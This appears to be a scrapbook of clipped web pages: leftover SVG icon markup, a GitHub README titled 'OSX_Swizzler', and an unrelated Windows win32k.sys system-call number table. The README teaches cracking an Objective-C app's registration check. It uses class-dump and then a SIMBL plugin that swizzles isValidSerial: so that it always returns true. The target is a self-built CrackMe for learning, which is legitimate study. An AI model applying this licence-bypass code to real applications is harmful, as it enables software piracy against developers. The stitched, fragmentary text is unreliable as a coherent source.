0a.993.993 0 0 0 .006-1.396 1.006 1.006 0 0 0-1.408-.03C20.273 7.312 19.519 8
18 8c-1.497 0-2.251-.67-2.303-.717a1 1 0 0 0-1.404 1.424C14.425 8.839 15.653
10 18 10c2.347 0 3.575-1.161 3.707-1.293M21.001 19a1 1 0 0 1-.896-.553C20.036
18.314 18.225 15 12 15c-6.225 0-8.036 3.314-8.11 3.456a1.002 1.002 0 0
1-1.344.43.997.997 0 0 1-.441-1.333C2.198 17.367 4.469 13 12 13s9.802 4.367
9.895 4.553A1.001 1.001 0 0 1 21.001 19' fill-rule='evenodd' data-evernote-
id='2185' class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' /><img
src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='currentColor' viewBox='0 0 24 24'
xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
stroke='none' class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-
evernote-id='2187'%3e%3cg data-evernote-id='2188' class='js-evernote-
checked'%3e%3cpath d='M10 8a1 1 0 0 0-1-1H3a1 1 0 1 0 0 2h6a1 1 0 0 0 1-1m12
0a1 1 0 0 0-1-1h-6a1 1 0 1 0 0 2h6a1 1 0 0 0 1-1m-1 9H3a1 1 0 1 1 0-2h18a1 1 0
1 1 0 2' fill-rule='evenodd' data-evernote-id='2189' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' /><img
src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='currentColor' viewBox='0 0 24 24'
xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
stroke='none' class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-
evernote-id='2191'%3e%3cg data-evernote-id='2192' class='js-evernote-
checked'%3e%3cpath d='M9.707 8.707a.999.999 0 0 0 0-1.414C9.575 7.161 8.347 6
6 6 3.653 6 2.425 7.161 2.293 7.293a.992.992 0 0 0-.005 1.396 1.007 1.007 0 0
0 1.408.029C3.727 8.689 4.481 8 6 8c1.52 0 2.273.689 2.293.707a.997.997 0 0 0
1.414 0m12 0a.999.999 0 0 0 0-1.414C21.575 7.161 20.347 6 18 6c-2.347 0-3.575
1.161-3.707 1.293a.992.992 0 0 0-.005 1.396 1.006 1.006 0 0 0 1.407.029C15.727
8.689 16.481 8 18 8c1.52 0 2.273.689 2.293.707a.997.997 0 0 0 1.414 0M12
19c-7.53 0-9.8-4.367-9.894-4.553a1.001 1.001 0 0 1 1.786-.902C3.974 13.704
5.792 17 12 17c6.226 0 8.037-3.314 8.111-3.456a1.007 1.007 0 0 1
1.344-.43.998.998 0 0 1 .441 1.333C21.802 14.633 19.531 19 12 19' fill-
rule='evenodd' data-evernote-id='2193' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

# Fuzion24/OSX\_Swizzler

**Created:**| _9/13/2013 12:12:32 PM_  
---|---  
**Updated:**| _9/13/2013 12:12:32 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking hooks_  
  

# **O** SX Swizzler****

This repo is an example of cracking an Objective-C app by using SIMBL**.**
SIMBL injects code into an application during its load**.** We will try to
create a plugin that hooks the registration scheme of a simple app we will
build**.**

SIMBL  is designed to load bundles into an application to extend/change
functionality of an app**.**

Our target application contains a simple 'registration scheme' that just
checks the validity of an input key and notifies the user if the application
is registered or not:

<img src='img/Temp2_3334.png' alt='Normal App' />

Our goal here is to crack this application without making binary modifications
to the original app**.** Although we have the source code for this app, we
will pretend that we are doing some black box analysis on it**.** In order to
gain a high level view of what is going on here, we can dump the class and
method structure using the very useful tool `class-dump`**.**  
Below is the \(slightly redacted\) output of class-dump:

[code]

    class-dump CrackMe
    /*
     *     Generated by class-dump 3**.** 4 (64 bit).
     *
     *     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2012 by Steve Nygard**.**
     */
    
    #pragma mark -
    
    /*
     * File: CrackMe
     * Arch: x86_64
     *       Source version: 0**.** 0.0.0**.** 0
     *       Minimum Mac OS X version: 10.8.0
     *       SDK version: 10.8**.** 0
     *
     *       Objective-C Garbage Collection: Unsupported
     */
    
    --- Omitted unuseful stuff here  ---
    
    @interface AppDelegate : NSObject <NSApplicationDelegate>
    {
        NSWindow *_window;
        NSTextField *_registrationTextBox;
        NSTextField *_registrationStatus;
        NSButton *_registrationButton;
    }
    
    --- Omitted unuseful stuff here  ---
    
    
    @property NSWindow *window; // @synthesize window=_window;
    - (void).cxx_destruct;
    - (BOOL)isValidSerial:(id)arg1;
    - (void)doRegistration:(id)arg1;
    - (void)applicationDidFinishLaunching:(id)arg1;
    
    @end
    
[/code]

The only function it looks like we really care about is `isValidSerial` that
returns a boolean**.**  
Our general approach here is going to be to hook calls to \[AppDelegate
isValidSerial:\] and replace it with our own function -- something that always
returns true**.**

The tutorial I followed to create the bundle SIMBL tutorial

While developing the SIMBL plugin, I found it easier to symlink the bundle
into the plugin folder rather than having to manually copy the bundle after
every build:

[code]

    ln -s /Users/fuzion24/Library/Developer/Xcode/DerivedData/Swizzler-awlqvopkqunralfrlyrqcwxoipui/Build/Products/Debug/Swizzler.bundle ~/Library/Application\ Support/SIMBL/Plugins
    
[/code]

The actual meat of the hack:

[code]

    @implementation CrackMePlugin
    
    - (BOOL) isValidSerial:(NSString*)key{
        NSLog(@"Tried to get validity for serial: %@", key, nil);
        return true;
    }
    
    /**
     * load is a special method called by SIMBL once the application has started and all classes are initialized**.**
     */
    + (void) load
    {
    
        NSLog(@"CrackMePlugin installed");
    
        Class appDelegate = objc_getClass("AppDelegate");
        Class this = self.class;
    
        Method instMeth = class_getInstanceMethod(this, @selector(isValidSerial:));
        IMP haxxed = method_getImplementation(instMeth);
    
        Method origValidSerialCheck    = class_getInstanceMethod(appDelegate, @selector(isValidSerial:));
    
        method_setImplementation(origValidSerialCheck, haxxed);
    }
    @end
    
[/code]

Since SIMBL is somewhat depreciated, I chose to use EasySIMBL:

<img src='img/Temp2_3333.png' alt='EasySIMBL' />

and now:

<img src='img/Temp2_3332.png' alt='Cracked' />

\---Notes--- I ran into some issues using SIMBL with some applications**.**
For instance, I wanted to change the behavior of a function that was called
immediately upon startup of the application**.** SIML has some lag time before
being injected into the app and therefore was not properly hooking the early
function call**.**

****

# Windows WIN32K.SYS System Call Table \(NT/2000/XP/2003/Vista/2008/7\)

**Created:**| _9/10/2010 9:40:37 AM_  
---|---  
**Updated:**| _9/10/2010 9:40:37 AM_  
**Author:**| _wishi_  
**Tags:**| _reversing windows environment_  
  

# Windows WIN32K.SYS System Call Table \(NT/2000/XP/2003/Vista/2008/7\)

**Author: j00ru \(j00ru.vx tech blog\)**  
**TeamVexillium**

Special thanks to: Woodmann, Deus, Gynvael Coldwind, MeMek, Alex, Omega Red

Layout by Metasploit Team

  
Enter the Syscall ID to highlight \(hex\):  
  
  
---  
  
System Call Symbol | Windows NT | Windows 2000 | Windows XP | Windows 2003 Server | Windows Vista | Windows 2008 Server | Windows 7  
---|---|---|---|---|---|---|---  
SP3 | SP4 | SP5 | SP6 | SP0 | SP1 | SP2 | SP3 | SP4 | SP0 | SP1 | SP2 | SP3 | SP0 | SP1 | SP2 | SP0 | SP1 | SP2 | SP0 | SP1 | SP2 | SP0  
DestroyPhysicalMonitor |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12fb  |  0x12fb  |  0x12fb  |     |  0x12fb  |     |  0x1327   
DxEngGetRedirectionBitmap |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1298  |  0x1298  |     |     |     |     |     |     |      
DxgStubContextCreate |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10cf   
DxgStubCreateSurfaceObject |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1267  |  0x1267  |  0x1267  |     |  0x1267  |     |      
DxgStubDeleteDirectDrawObject |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f7  |  0x12f7  |  0x12f7  |     |  0x12f7  |     |  0x1323   
DxgStubEnableDirectDrawRedirection |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f6  |  0x12f6  |  0x12f6  |     |  0x12f6  |     |  0x1322   
GreFlush |     |     |     |     |     |     |  0x1093  |     |  0x1093  |     |     |     |     |     |     |     |     |     |     |     |     |     |      
GreSelectBitmap |     |     |     |     |     |     |     |     |  0x10f9  |     |  0x1101  |  0x1101  |  0x1101  |     |  0x1100  |  0x1100  |  0x1109  |  0x1109  |  0x1109  |     |  0x1109  |     |  0x110b   
IsIMMEnabledSystem |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10e6   
NtGdiAbortDoc |     |     |     |  0x1000  |     |     |  0x1000  |     |  0x1000  |     |  0x1000  |  0x1000  |  0x1000  |     |  0x1000  |  0x1000  |  0x1000  |  0x1000  |  0x1000  |     |  0x1000  |     |  0x1000   
NtGdiAbortPath |     |     |     |  0x1001  |     |     |  0x1001  |     |  0x1001  |     |  0x1001  |  0x1001  |  0x1001  |     |  0x1001  |  0x1001  |  0x1001  |  0x1001  |  0x1001  |     |  0x1001  |     |  0x1001   
NtGdiAddEmbFontToDC |     |     |     |     |     |     |     |     |     |     |  0x10d6  |  0x10d6  |  0x10d6  |     |  0x10d5  |  0x10d5  |  0x10de  |  0x10de  |  0x10de  |     |  0x10de  |     |  0x10e0   
NtGdiAddFontMemResourceEx |     |     |     |     |     |     |  0x1004  |     |  0x1004  |     |  0x1004  |  0x1004  |  0x1004  |     |  0x1004  |  0x1004  |  0x1004  |  0x1004  |  0x1004  |     |  0x1004  |     |  0x1004   
NtGdiAddFontResourceW |     |     |     |  0x1002  |     |     |  0x1002  |     |  0x1002  |     |  0x1002  |  0x1002  |  0x1002  |     |  0x1002  |  0x1002  |  0x1002  |  0x1002  |  0x1002  |     |  0x1002  |     |  0x1002   
NtGdiAddRemoteFontToDC |     |     |     |  0x1003  |     |     |  0x1003  |     |  0x1003  |     |  0x1003  |  0x1003  |  0x1003  |     |  0x1003  |  0x1003  |  0x1003  |  0x1003  |  0x1003  |     |  0x1003  |     |  0x1003   
NtGdiAddRemoteMMInstanceToDC |     |     |     |     |     |     |  0x1006  |     |  0x1006  |     |  0x1006  |  0x1006  |  0x1006  |     |  0x1006  |  0x1006  |  0x1006  |  0x1006  |  0x1006  |     |  0x1006  |     |  0x1006   
NtGdiAlphaBlend |     |     |     |     |     |     |  0x1007  |     |  0x1007  |     |  0x1007  |  0x1007  |  0x1007  |     |  0x1007  |  0x1007  |  0x1007  |  0x1007  |  0x1007  |     |  0x1007  |     |  0x1007   
NtGdiAngleArc |     |     |     |  0x1004  |     |     |  0x1008  |     |  0x1008  |     |  0x1008  |  0x1008  |  0x1008  |     |  0x1008  |  0x1008  |  0x1008  |  0x1008  |  0x1008  |     |  0x1008  |     |  0x1008   
NtGdiAnyLinkedFonts |     |     |     |     |     |     |  0x1009  |     |  0x1009  |     |  0x1009  |  0x1009  |  0x1009  |     |  0x1009  |  0x1009  |  0x1009  |  0x1009  |  0x1009  |     |  0x1009  |     |  0x1009   
NtGdiArcInternal |     |     |     |  0x1005  |     |     |  0x100b  |     |  0x100b  |     |  0x100b  |  0x100b  |  0x100b  |     |  0x100b  |  0x100b  |  0x100b  |  0x100b  |  0x100b  |     |  0x100b  |     |  0x100b   
NtGdiBRUSHOBJ\_DeleteRbrush |     |     |     |     |     |     |     |     |     |     |  0x1298  |  0x1298  |  0x1298  |     |  0x1294  |  0x1294  |  0x12b9  |  0x12b9  |  0x12b9  |     |  0x12b9  |     |  0x12d9   
NtGdiBRUSHOBJ\_hGetColorTransform |     |     |     |     |     |     |  0x1265  |     |  0x1265  |     |  0x127d  |  0x127d  |  0x127d  |     |  0x1279  |  0x1279  |  0x129e  |  0x129e  |  0x129e  |     |  0x129e  |     |  0x12be   
NtGdiBRUSHOBJ\_pvAllocRbrush |     |     |     |     |     |     |  0x1263  |     |  0x1263  |     |  0x127b  |  0x127b  |  0x127b  |     |  0x1277  |  0x1277  |  0x129c  |  0x129c  |  0x129c  |     |  0x129c  |     |  0x12bc   
NtGdiBRUSHOBJ\_pvGetRbrush |     |     |     |     |     |     |  0x1264  |     |  0x1264  |     |  0x127c  |  0x127c  |  0x127c  |     |  0x1278  |  0x1278  |  0x129d  |  0x129d  |  0x129d  |     |  0x129d  |     |  0x12bd   
NtGdiBRUSHOBJ\_ulGetBrushColor |     |     |     |     |     |     |  0x1262  |     |  0x1262  |     |  0x127a  |  0x127a  |  0x127a  |     |  0x1276  |  0x1276  |  0x129b  |  0x129b  |  0x129b  |     |  0x129b  |     |  0x12bb   
NtGdiBeginGdiRendering |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x100c   
NtGdiBeginPath |     |     |     |  0x1006  |     |     |  0x100c  |     |  0x100c  |     |  0x100c  |  0x100c  |  0x100c  |     |  0x100c  |  0x100c  |  0x100c  |  0x100c  |  0x100c  |     |  0x100c  |     |  0x100d   
NtGdiBitBlt |     |     |     |  0x1007  |     |     |  0x100d  |     |  0x100d  |     |  0x100d  |  0x100d  |  0x100d  |     |  0x100d  |  0x100d  |  0x100d  |  0x100d  |  0x100d  |     |  0x100d  |     |  0x100e   
NtGdiCLIPOBJ\_bEnum |     |     |     |     |     |     |  0x125c  |     |  0x125c  |     |  0x1274  |  0x1274  |  0x1274  |     |  0x1270  |  0x1270  |  0x1295  |  0x1295  |  0x1295  |     |  0x1295  |     |  0x12b5   
NtGdiCLIPOBJ\_cEnumStart |     |     |     |     |     |     |  0x125d  |     |  0x125d  |     |  0x1275  |  0x1275  |  0x1275  |     |  0x1271  |  0x1271  |  0x1296  |  0x1296  |  0x1296  |     |  0x1296  |     |  0x12b6   
NtGdiCLIPOBJ\_ppoGetPath |     |     |     |     |     |     |  0x125e  |     |  0x125e  |     |  0x1276  |  0x1276  |  0x1276  |     |  0x1272  |  0x1272  |  0x1297  |  0x1297  |  0x1297  |     |  0x1297  |     |  0x12b7   
NtGdiCancelDC |     |     |     |  0x1008  |     |     |  0x100e  |     |  0x100e  |     |  0x100e  |  0x100e  |  0x100e  |     |  0x100e  |  0x100e  |  0x100e  |  0x100e  |  0x100e  |     |  0x100e  |     |  0x100f   
NtGdiChangeGhostFont |     |     |     |     |     |     |     |     |     |     |  0x10d5  |  0x10d5  |  0x10d5  |     |  0x10d4  |  0x10d4  |  0x10dd  |  0x10dd  |  0x10dd  |     |  0x10dd  |     |  0x10df   
NtGdiCheckBitmapBits |     |     |     |     |     |     |  0x100f  |     |  0x100f  |     |  0x100f  |  0x100f  |  0x100f  |     |  0x100f  |  0x100f  |  0x100f  |  0x100f  |  0x100f  |     |  0x100f  |     |  0x1010   
NtGdiClearBitmapAttributes |     |     |     |     |     |     |     |     |     |     |  0x1011  |  0x1011  |  0x1011  |     |  0x1011  |  0x1011  |  0x1011  |  0x1011  |  0x1011  |     |  0x1011  |     |  0x1012   
NtGdiClearBrushAttributes |     |     |     |     |     |     |     |     |     |     |  0x1012  |  0x1012  |  0x1012  |     |  0x1012  |  0x1012  |  0x1012  |  0x1012  |  0x1012  |     |  0x1012  |     |  0x1013   
NtGdiCloseFigure |     |     |     |  0x1009  |     |     |  0x1010  |     |  0x1010  |     |  0x1010  |  0x1010  |  0x1010  |     |  0x1010  |  0x1010  |  0x1010  |  0x1010  |  0x1010  |     |  0x1010  |     |  0x1011   
NtGdiColorCorrectPalette |     |     |     |     |     |     |  0x1011  |     |  0x1011  |     |  0x1013  |  0x1013  |  0x1013  |     |  0x1013  |  0x1013  |  0x1013  |  0x1013  |  0x1013  |     |  0x1013  |     |  0x1014   
NtGdiCombineRgn |     |     |     |  0x100a  |     |     |  0x1012  |     |  0x1012  |     |  0x1014  |  0x1014  |  0x1014  |     |  0x1014  |  0x1014  |  0x1014  |  0x1014  |  0x1014  |     |  0x1014  |     |  0x1015   
NtGdiCombineTransform |     |     |     |  0x100b  |     |     |  0x1013  |     |  0x1013  |     |  0x1015  |  0x1015  |  0x1015  |     |  0x1015  |  0x1015  |  0x1015  |  0x1015  |  0x1015  |     |  0x1015  |     |  0x1016   
NtGdiComputeXformCoefficients |     |     |     |  0x100c  |     |     |  0x1014  |     |  0x1014  |     |  0x1016  |  0x1016  |  0x1016  |     |  0x1016  |  0x1016  |  0x1016  |  0x1016  |  0x1016  |     |  0x1016  |     |  0x1017   
NtGdiConfigureOPMProtectedOutput |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1017  |  0x1017  |  0x1017  |     |  0x1017  |     |  0x1018   
NtGdiConsoleTextOut |     |     |     |  0x100d  |     |     |  0x1015  |     |  0x1015  |     |  0x1017  |  0x1017  |  0x1017  |     |  0x1017  |  0x1017  |  0x1018  |  0x1018  |  0x1018  |     |  0x1018  |     |      
NtGdiConvertMetafileRect |     |     |     |  0x100e  |     |     |  0x1016  |     |  0x1016  |     |  0x1018  |  0x1018  |  0x1018  |     |  0x1018  |  0x1018  |  0x1019  |  0x1019  |  0x1019  |     |  0x1019  |     |  0x1019   
NtGdiCreateBitmap |     |     |     |  0x100f  |     |     |  0x1017  |     |  0x1017  |     |  0x1019  |  0x1019  |  0x1019  |     |  0x1019  |  0x1019  |  0x101a  |  0x101a  |  0x101a  |     |  0x101a  |     |  0x101a   
NtGdiCreateBitmapFromDxSurface |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x101b   
NtGdiCreateClientObj |     |     |     |  0x1010  |     |     |  0x1018  |     |  0x1018  |     |  0x101a  |  0x101a  |  0x101a  |     |  0x101a  |  0x101a  |  0x101b  |  0x101b  |  0x101b  |     |  0x101b  |     |  0x101c   
NtGdiCreateColorSpace |     |     |     |     |     |     |  0x1019  |     |  0x1019  |     |  0x101b  |  0x101b  |  0x101b  |     |  0x101b  |  0x101b  |  0x101c  |  0x101c  |  0x101c  |     |  0x101c  |     |  0x101d   
NtGdiCreateColorTransform |     |     |     |     |     |     |  0x101a  |     |  0x101a  |     |  0x101c  |  0x101c  |  0x101c  |     |  0x101c  |  0x101c  |  0x101d  |  0x101d  |  0x101d  |     |  0x101d  |     |  0x101e   
NtGdiCreateCompatibleBitmap |     |     |     |  0x1011  |     |     |  0x101b  |     |  0x101b  |     |  0x101d  |  0x101d  |  0x101d  |     |  0x101d  |  0x101d  |  0x101e  |  0x101e  |  0x101e  |     |  0x101e  |     |  0x101f   
NtGdiCreateCompatibleDC |     |     |     |  0x1012  |     |     |  0x101c  |     |  0x101c  |     |  0x101e  |  0x101e  |  0x101e  |     |  0x101e  |  0x101e  |  0x101f  |  0x101f  |  0x101f  |     |  0x101f  |     |  0x1020   
NtGdiCreateDIBBrush |     |     |     |  0x1013  |     |     |  0x101d  |     |  0x101d  |     |  0x101f  |  0x101f  |  0x101f  |     |  0x101f  |  0x101f  |  0x1020  |  0x1020  |  0x1020  |     |  0x1020  |     |  0x1021   
NtGdiCreateDIBSection |     |     |     |  0x1015  |     |     |  0x101f  |     |  0x101f  |     |  0x1021  |  0x1021  |  0x1021  |     |  0x1021  |  0x1021  |  0x1022  |  0x1022  |  0x1022  |     |  0x1022  |     |  0x1023   
NtGdiCreateDIBitmapInternal |     |     |     |  0x1014  |     |     |  0x101e  |     |  0x101e  |     |  0x1020  |  0x1020  |  0x1020  |     |  0x1020  |  0x1020  |  0x1021  |  0x1021  |  0x1021  |     |  0x1021  |     |  0x1022   
NtGdiCreateEllipticRgn |     |     |     |  0x1016  |     |     |  0x1020  |     |  0x1020  |     |  0x1022  |  0x1022  |  0x1022  |     |  0x1022  |  0x1022  |  0x1023  |  0x1023  |  0x1023  |     |  0x1023  |     |  0x1024   
NtGdiCreateHalftonePalette |     |     |     |  0x1017  |     |     |  0x1021  |     |  0x1021  |     |  0x1023  |  0x1023  |  0x1023  |     |  0x1023  |  0x1023  |  0x1024  |  0x1024  |  0x1024  |     |  0x1024  |     |  0x1025   
NtGdiCreateHatchBrushInternal |     |     |     |  0x1018  |     |     |  0x1022  |     |  0x1022  |     |  0x1024  |  0x1024  |  0x1024  |     |  0x1024  |  0x1024  |  0x1025  |  0x1025  |  0x1025  |     |  0x1025  |     |  0x1026   
NtGdiCreateMetafileDC |     |     |     |  0x1019  |     |     |  0x1023  |     |  0x1023  |     |  0x1025  |  0x1025  |  0x1025  |     |  0x1025  |  0x1025  |  0x1026  |  0x1026  |  0x1026  |     |  0x1026  |     |  0x1027   
NtGdiCreateOPMProtectedOutputs |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1027  |  0x1027  |  0x1027  |     |  0x1027  |     |  0x1028   
NtGdiCreatePaletteInternal |     |     |     |  0x101a  |     |     |  0x1024  |     |  0x1024  |     |  0x1026  |  0x1026  |  0x1026  |     |  0x1026  |  0x1026  |  0x1028  |  0x1028  |  0x1028  |     |  0x1028  |     |  0x1029   
NtGdiCreatePatternBrushInternal |     |     |     |  0x101b  |     |     |  0x1025  |     |  0x1025  |     |  0x1027  |  0x1027  |  0x1027  |     |  0x1027  |  0x1027  |  0x1029  |  0x1029  |  0x1029  |     |  0x1029  |     |  0x102a   
NtGdiCreatePen |     |     |     |  0x101c  |     |     |  0x1026  |     |  0x1026  |     |  0x1028  |  0x1028  |  0x1028  |     |  0x1028  |  0x1028  |  0x102a  |  0x102a  |  0x102a  |     |  0x102a  |     |  0x102b   
NtGdiCreateRectRgn |     |     |     |  0x101d  |     |     |  0x1027  |     |  0x1027  |     |  0x1029  |  0x1029  |  0x1029  |     |  0x1029  |  0x1029  |  0x102b  |  0x102b  |  0x102b  |     |  0x102b  |     |  0x102c   
NtGdiCreateRoundRectRgn |     |     |     |  0x101e  |     |     |  0x1028  |     |  0x1028  |     |  0x102a  |  0x102a  |  0x102a  |     |  0x102a  |  0x102a  |  0x102c  |  0x102c  |  0x102c  |     |  0x102c  |     |  0x102d   
NtGdiCreateServerMetaFile |     |     |     |  0x101f  |     |     |  0x1029  |     |  0x1029  |     |  0x102b  |  0x102b  |  0x102b  |     |  0x102b  |  0x102b  |  0x102d  |  0x102d  |  0x102d  |     |  0x102d  |     |  0x102e   
NtGdiCreateSolidBrush |     |     |     |  0x1020  |     |     |  0x102a  |     |  0x102a  |     |  0x102c  |  0x102c  |  0x102c  |     |  0x102c  |  0x102c  |  0x102e  |  0x102e  |  0x102e  |     |  0x102e  |     |  0x102f   
NtGdiD3dContextCreate |     |     |     |  0x1021  |     |     |  0x102b  |     |  0x102b  |     |  0x102d  |  0x102d  |  0x102d  |     |  0x102d  |  0x102d  |  0x102f  |  0x102f  |  0x102f  |     |  0x102f  |     |  0x1030   
NtGdiD3dContextDestroy |     |     |     |  0x1022  |     |     |  0x102c  |     |  0x102c  |     |  0x102e  |  0x102e  |  0x102e  |     |  0x102e  |  0x102e  |  0x1030  |  0x1030  |  0x1030  |     |  0x1030  |     |  0x1031   
NtGdiD3dContextDestroyAll |     |     |     |  0x1023  |     |     |  0x102d  |     |  0x102d  |     |  0x102f  |  0x102f  |  0x102f  |     |  0x102f  |  0x102f  |  0x1031  |  0x1031  |  0x1031  |     |  0x1031  |     |  0x1032   
NtGdiD3dDrawPrimitives2 |     |     |     |     |     |     |  0x102f  |     |  0x102f  |     |  0x1031  |  0x1031  |  0x1031  |     |  0x1031  |  0x1031  |  0x1033  |  0x1033  |  0x1033  |     |  0x1033  |     |  0x1034   
NtGdiD3dExecute |     |     |     |  0x1025  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dExecuteClipped |     |     |     |  0x1026  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dGetState |     |     |     |  0x1037  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dLightSet |     |     |     |  0x1032  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dMaterialCreate |     |     |     |  0x1033  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dMaterialDestroy |     |     |     |  0x1034  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dMaterialGetData |     |     |     |  0x1036  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dMaterialSetData |     |     |     |  0x1035  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dMatrixCreate |     |     |     |  0x102d  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dMatrixDestroy |     |     |     |  0x102e  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dMatrixGetData |     |     |     |  0x1030  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dMatrixSetData |     |     |     |  0x102f  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dRenderPrimitive |     |     |     |  0x1028  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dRenderState |     |     |     |  0x1027  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dSceneCapture |     |     |     |  0x1024  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dSetViewportData |     |     |     |  0x1031  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dTextureCreate |     |     |     |  0x1029  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dTextureDestroy |     |     |     |  0x102a  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dTextureGetSurf |     |     |     |  0x102c  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dTextureSwap |     |     |     |  0x102b  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiD3dValidateTextureStageState |     |     |     |     |     |     |  0x102e  |     |  0x102e  |     |  0x1030  |  0x1030  |  0x1030  |     |  0x1030  |  0x1030  |  0x1032  |  0x1032  |  0x1032  |     |  0x1032  |     |  0x1033   
NtGdiDDCCIGetCapabilitiesString |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1300  |  0x1300  |  0x1300  |     |  0x1300  |     |  0x132c   
NtGdiDDCCIGetCapabilitiesStringLength |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ff  |  0x12ff  |  0x12ff  |     |  0x12ff  |     |  0x132b   
NtGdiDDCCIGetTimingReport |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1301  |  0x1301  |  0x1301  |     |  0x1301  |     |  0x132d   
NtGdiDDCCIGetVCPFeature |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12fc  |  0x12fc  |  0x12fc  |     |  0x12fc  |     |  0x1328   
NtGdiDDCCISaveCurrentSettings |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12fe  |  0x12fe  |  0x12fe  |     |  0x12fe  |     |  0x132a   
NtGdiDDCCISetVCPFeature |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12fd  |  0x12fd  |  0x12fd  |     |  0x12fd  |     |  0x1329   
NtGdiDdAddAttachedSurface |     |     |     |     |     |     |  0x1031  |     |  0x1031  |     |  0x1033  |  0x1033  |  0x1033  |     |  0x1033  |  0x1033  |  0x1035  |  0x1035  |  0x1035  |     |  0x1035  |     |  0x1036   
NtGdiDdAlphaBlt |     |     |     |     |     |     |  0x1032  |     |  0x1032  |     |  0x1034  |  0x1034  |  0x1034  |     |  0x1034  |  0x1034  |  0x1036  |  0x1036  |  0x1036  |     |  0x1036  |     |  0x1037   
NtGdiDdAttachSurface |     |     |     |     |     |     |  0x1033  |     |  0x1033  |     |  0x1035  |  0x1035  |  0x1035  |     |  0x1035  |  0x1035  |  0x1037  |  0x1037  |  0x1037  |     |  0x1037  |     |  0x1038   
NtGdiDdBeginMoCompFrame |     |     |     |     |     |     |  0x1034  |     |  0x1034  |     |  0x1036  |  0x1036  |  0x1036  |     |  0x1036  |  0x1036  |  0x1038  |  0x1038  |  0x1038  |     |  0x1038  |     |  0x1039   
NtGdiDdBlt |     |     |     |  0x1038  |     |     |  0x1035  |     |  0x1035  |     |  0x1037  |  0x1037  |  0x1037  |     |  0x1037  |  0x1037  |  0x1039  |  0x1039  |  0x1039  |     |  0x1039  |     |  0x103a   
NtGdiDdCanCreateD3DBuffer |     |     |     |     |     |     |  0x1037  |     |  0x1037  |     |  0x1039  |  0x1039  |  0x1039  |     |  0x1039  |  0x1039  |  0x103b  |  0x103b  |  0x103b  |     |  0x103b  |     |  0x103c   
NtGdiDdCanCreateSurface |     |     |     |  0x1039  |     |     |  0x1036  |     |  0x1036  |     |  0x1038  |  0x1038  |  0x1038  |     |  0x1038  |  0x1038  |  0x103a  |  0x103a  |  0x103a  |     |  0x103a  |     |  0x103b   
NtGdiDdColorControl |     |     |     |     |     |     |  0x1038  |     |  0x1038  |     |  0x103a  |  0x103a  |  0x103a  |     |  0x103a  |  0x103a  |  0x103c  |  0x103c  |  0x103c  |     |  0x103c  |     |  0x103d   
NtGdiDdCreateD3DBuffer |     |     |     |     |     |     |     |     |     |     |  0x103d  |  0x103d  |  0x103d  |     |  0x103d  |  0x103d  |  0x103f  |  0x103f  |  0x103f  |     |  0x103f  |     |  0x1040   
